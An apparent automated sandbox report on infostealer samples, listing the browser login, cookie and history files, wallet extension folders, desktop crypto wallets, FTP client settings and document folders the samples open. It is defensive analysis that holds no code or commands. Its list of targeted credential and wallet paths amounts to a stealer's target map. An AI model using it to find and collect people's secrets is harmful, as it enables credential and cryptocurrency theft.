Source: skotes.exe String found in binary or memory: Wallets/ElectronCash
Source: file.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.0000000000694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: Wallets/Exodus
Source: skotes.exe, 0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: a%\\Ethereum","m":["keys
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BXAJUJAOEO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\OVWVVIANZH Jump to behavior
